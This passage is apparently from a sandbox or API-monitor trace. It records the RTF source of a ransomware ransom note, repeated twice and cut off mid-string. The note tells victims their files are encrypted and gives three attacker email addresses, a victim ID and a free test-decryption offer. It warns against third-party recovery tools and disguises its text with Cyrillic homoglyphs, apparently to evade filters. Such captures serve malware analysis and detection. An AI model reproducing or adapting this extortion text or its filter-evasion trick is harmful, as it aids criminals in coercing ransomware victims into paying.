W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 